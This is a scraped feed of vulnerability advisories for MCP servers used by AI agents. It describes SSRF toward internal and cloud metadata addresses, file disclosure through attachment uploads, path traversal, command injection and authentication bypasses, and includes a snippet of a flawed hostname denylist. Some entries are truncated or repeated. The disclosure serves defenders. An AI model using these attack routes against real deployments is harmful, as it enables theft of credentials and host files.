MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credentials, mounted secrets, or other files readable by the MCP process. The advisory traces the vulnerable input and processing flow through jira_upload_attachment, confluence_upload_attachment, file_path, and server-local filesystem, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77249
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, JiraUserMixin._lookup_user_by_permissions uses the module-level requests.get function instead of the fetcher's protected session. A caller-controlled public Jira URL can redirect that unhooked request to an internal address, bypassing the redirect checks added for CVE-2026-27826. The advisory traces the vulnerable input and processing flow through JiraUserMixin._lookup_user_by_permissions, requests.get, self.jira._session.get, and _make_ssrf_safe_hook, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77248
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the streamable HTTP transport accepts requests without a user identity and falls back to operator credentials, while upload_attachment accepts an unrestricted file_path. An unauthenticated network caller can read files available to the MCP process, upload them to an attacker-selected Jira issue or Confluence page, and retrieve the contents. The advisory traces the vulnerable input and processing flow through streamable-http, UserTokenMiddleware, upload_attachment, file_path, and _get_fetcher, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77247
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence upload tools interpret caller-controlled path arguments on the MCP server and open those files before sending them as attachments. In remote or multi-user deployments, a permitted client can disclose host files without shell or direct filesystem access. The advisory traces the vulnerable input and processing flow through AttachmentsMixin.upload_attachment, AttachmentsMixin.upload_attachments, file_path, file_paths, and jira update_issue, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77246
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, an HTTP transport deployment with READ_ONLY_MODE=false accepts a request without an Authorization identity and permits attacker-controlled Atlassian service headers, including X-Atlassian-Confluence-Url, to select a public attacker hostname or one allowed by MCP_ALLOWED_URL_DOMAINS. A caller can then invoke confluence_upload_attachment or the Jira attachment variant in src/mcp_atlassian/jira/attachments.py with a server-local file_path and cause the MCP process to send the file to the selected attachment endpoint. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77274
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77271
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77270
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Jira and Confluence attachment upload tools treat caller-controlled file_path values as trusted server-local paths. The server opens the selected file and uploads it to an Atlassian issue or page, allowing an MCP caller with upload access to disclose any file readable by the server process. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, jira_upload_attachment, file_path, and open(file_path, \"rb\"), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77267
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url headers are processed by _process_authentication_headers and used to construct Atlassian fetchers without calling validate_url_for_ssrf. A caller who can set these headers can supply an internal or metadata-service URL and cause the server to send requests to that destination, bypassing the incomplete CVE-2026-27826 remediation. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77265
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, header-supplied Jira or Confluence URLs are resolved and validated before the HTTP client resolves the hostname again for the connection. An unauthenticated caller can use a DNS-rebinding hostname that returns a public address during validation and an internal address during connection, causing requests to internal or metadata services. The advisory traces the vulnerable input and processing flow through X-Atlassian-Jira-Url, X-Atlassian-Confluence-Url, validate_url_for_ssrf, and DNS rebinding, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77261
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, _make_ssrf_safe_hook is omitted from JiraFetcher and ConfluenceFetcher sessions created through the basic-auth and oauth_pat branches. If an attacker-controlled or compromised configured Atlassian instance returns a redirect to an internal address, those sessions can follow the redirect without revalidating its destination. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77260
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Confluence and Jira upload_attachment implementations accept an unconstrained file_path and open the referenced server-local file. A permitted MCP caller can upload sensitive host files to an Atlassian destination and then retrieve their contents. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and CVE-2026-27825, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77258
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment in src/mcp_atlassian/confluence/attachments.py accepts a caller-controlled file_path and opens the selected server-local file without restricting it to the workspace. A permitted Confluence MCP caller can upload the file as an attachment and disclose data readable by the server process. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77252
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, caller-supplied projects_filter and spaces_filter arguments can replace administrator-configured allowlists, and caller-provided project or space clauses can suppress the configured restriction. A caller can search projects or spaces outside the intended boundary when the configured Atlassian credentials can access them. The advisory traces the vulnerable input and processing flow through JIRA_PROJECTS_FILTER, CONFLUENCE_SPACES_FILTER, projects_filter, spaces_filter, SearchMixin.search_issues, and SearchMixin.search, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77251
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira search accepts a forbidden project clause because it checks only for the presence of project syntax, Confluence search uses an incomplete case-sensitive space check, and Jira board APIs omit project-filter enforcement. These paths expose issues, boards, or pages outside JIRA_PROJECTS_FILTER or CONFLUENCE_SPACES_FILTER when the operator credentials have broader access. The advisory traces the vulnerable input and processing flow through jira_search, confluence_search, get_board_issues, get_agile_boards, JIRA_PROJECTS_FILTER, and CONFLUENCE_SPACES_FILTER, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77250
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, OAuthConfig writes a plaintext fallback file containing access and refresh tokens under the user's .mcp-atlassian directory using process-default permissions. On systems with a permissive umask, same-group or other local users and processes can read the persisted tokens and reuse the associated Atlassian access. The advisory traces the vulnerable input and processing flow through OAuthConfig._save_tokens, ~/.mcp-atlassian/oauth-
References:
Vulnerability ID: CVE-2026-77244
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the HTTP transport accepts requests without a verified user identity and downstream fetcher construction falls back to the operator's globally configured Jira or Confluence credentials. A network client that can reach the MCP endpoint can invoke Atlassian tools as the operator, including read and write operations available to that account. The advisory traces the vulnerable input and processing flow through UserTokenMiddleware, AtlassianOpaqueTokenVerifier, _get_fetcher, and streamable-http, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77243
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, ENABLED_TOOLS and TOOLSETS are applied when tools are listed but are not rechecked when a tools/call request is dispatched. A client that knows a hidden tool name can directly invoke excluded read, write, or delete tools despite the operator's configured least-privilege restrictions. The advisory traces the vulnerable input and processing flow through ENABLED_TOOLS, TOOLSETS, tools/list, tools/call, and _call_tool_mcp, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77242
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf checks a hostname's resolved addresses, but Requests and urllib3 resolve the hostname again when connecting. A caller can use a short-lived DNS answer that is public during validation and private during connection, preserving unauthenticated access to internal or metadata endpoints despite the earlier CVE-2026-27826 remediation. The advisory traces the vulnerable input and processing flow through validate_url_for_ssrf, _check_dns_resolution, socket.getaddrinfo, and _make_ssrf_safe_hook, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: GHSA-798p-78g2-v556
\nSeverity: MODERATE
\nAffected Package(s): @aborruso/ckan-mcp-server
\nDetails:
## Summary\nThe SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.\n\n## Affected / patched\n- `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.\n\n## Severity\nIt is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).\n\n## Root cause — `src/utils/http.ts`, `validateServerUrl`\nThe guard blocks IP **literals** and three loopback alias strings, but does no name resolution:\n```ts\nconst hostname = parsed.hostname.toLowerCase();\nif (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist\nif (hostname.match(/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/)) { /* block private/special IPv4 LITERALS */ }\n// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed\n```\nBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false:
References:
Vulnerability ID: CVE-2026-77518
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, a normal workspace user who knows another user's active MCP tool_id in the same workspace can retrieve the hidden tool through the tool-detail route because it does not apply the per-resource authorization used by the list route. The response includes Tool.code, which may contain MCP server configuration and headers, and an attacker who can create or edit an attacker-owned workflow can place the same foreign mcp_tool_id in a workflow mcp-node so workflow debug uses the owner's MCP configuration without verifying permission to use that tool. No fixed version is available as of this review.
References:
", "date_published": "2026-09-21T21:17:10.477Z", "date_modified": "2026-09-22T14:17:15.207Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-61647", "url": "https://github.com/roomi-fields/notebooklm-mcp/security/advisories/GHSA-jjhp-8crj-mppq", "title": "[UNKNOWN] CVE-2026-61647: NotebookLM MCP is an MCP server and HTTP service for interacting with Google NotebookLM and exporting generated content ", "summary": "NotebookLM MCP is an MCP server and HTTP service for interacting with Google NotebookLM and exporting generated content ", "content_html": "Vulnerability ID: CVE-2026-61647
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
NotebookLM MCP is an MCP server and HTTP service for interacting with Google NotebookLM and exporting generated content to local vault directories. Versions 1.6.0 through 2.0.2 contain a path traversal vulnerability in the `POST /batch-to-vault` endpoint, also exposed through the `batch_to_vault` MCP tool beginning in version 1.7.0, because attacker-controlled `vault_dir` and `slug_prefix` values can cause Markdown and JSON files to be written outside the intended vault directory to any location writable by the server process. Version 2.0.3 sanitizes `slug_prefix` and supports vault containment when `NOTEBOOKLM_VAULT_ROOT` is configured; containment is not enabled if that variable is unset. Users unable to upgrade should run the server as a dedicated unprivileged account restricted to the intended vault, keep the HTTP endpoint limited to localhost, and validate `vault_dir` values supplied by LLMs processing untrusted content.
References:
", "date_published": "2026-09-21T21:17:07.107Z", "date_modified": "2026-09-24T21:25:27.050Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-61612", "url": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556", "title": "[UNKNOWN] CVE-2026-61612: CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerU", "summary": "CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.108, the SSRF guard `validateServerU", "content_html": "Vulnerability ID: CVE-2026-61612
\nSeverity: UNKNOWN
\nAffected Package(s): @aborruso/ckan-mcp-server, unknown
\nDetails:
## Summary\nThe SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.\n\n## Affected / patched\n- `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.\n\n## Severity\nIt is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).\n\n## Root cause — `src/utils/http.ts`, `validateServerUrl`\nThe guard blocks IP **literals** and three loopback alias strings, but does no name resolution:\n```ts\nconst hostname = parsed.hostname.toLowerCase();\nif (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist\nif (hostname.match(/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/)) { /* block private/special IPv4 LITERALS */ }\n// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed\n```\nBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false:
References:
Vulnerability ID: CVE-2026-55071
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. Prior to version 1.19.0, the ado_package_install MCP tool in stata-mcp concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the package argument to inject arbitrary Stata commands. Because Stata supports a shell escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default all profile, so no non-default configuration is required. This issue has been patched in version 1.19.0.
References:
Vulnerability ID: CVE-2026-58197
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend's secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.
References:
Vulnerability ID: CVE-2026-50158
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
yutu is an AI-powered toolkit for managing and growing YouTube channels. Prior to 0.10.9, the caption-download MCP tool accepts a caller-controlled file parameter through cmd/caption/download.go and passes it to Caption.Download() in pkg/caption/caption.go, where os.Create() creates or truncates that path without using the pkg.Root confinement boundary backed by YUTU_ROOT. A principal able to invoke caption-download, including a local HTTP client when the MCP server runs with its default authentication-disabled configuration, can write downloaded caption bytes to any path writable by the yutu process outside YUTU_ROOT. This can overwrite application files, configuration, shell startup files, logs, or data and can cause persistent code execution or denial of service depending on the selected writable target. Live caption retrieval also requires usable service credentials and an accessible caption identifier. This issue is fixed in version 0.10.9.
References:
Vulnerability ID: CVE-2026-54618
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Obsidian Web MCP is a secure remote MCP server for Obsidian vaults. Prior to 0.2.0, /oauth/authorize issues an authorization code without a login, consent, or session check, and /oauth/token can exchange that code for the static VAULT_MCP_TOKEN without authenticating a client. An unauthenticated remote caller who can reach the intended tunnel deployment can therefore call /mcp and use vault_read, vault_write, vault_search, vault_list, vault_move, and vault_delete against the entire vault. Optional PKCE does not prevent an attacker-initiated flow, and unauthenticated /oauth/register also exposes a client_credentials path by returning the configured VAULT_OAUTH_CLIENT_SECRET. This issue is fixed in version 0.2.0.
References:
Vulnerability ID: CVE-2026-50125
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpoint and pkg/mcp/server.go registers the unauthenticated get_resource tool, which accepts attacker-controlled limitBytes and tailLines values for the pods logs subresource. buildPodLogOpts() in pkg/k8s/subresource.go parses those values as unbounded int64 parameters, and defaultGetPodLogs() copies the returned Kubernetes log stream through io.Copy into an in-memory bytes.Buffer without an application-side cap. A remote attacker who can reach the default port 8080 MCP endpoint and select a pod with sufficiently large accumulated logs can send one tools/call request that causes large allocations and additional response copies, while the request-frequency limiter does not constrain per-request volume. This can exhaust process memory, terminate the MKP server, and deny the MCP service; observed testing showed more than one GiB of RSS growth while handling a 128 MiB requested stream. This issue is fixed in version 0.4.1.
References:
", "date_published": "2026-09-17T20:16:50.127Z", "date_modified": "2026-09-30T17:32:07.107Z", "tags": [ "UNKNOWN", "unknown" ] } ] }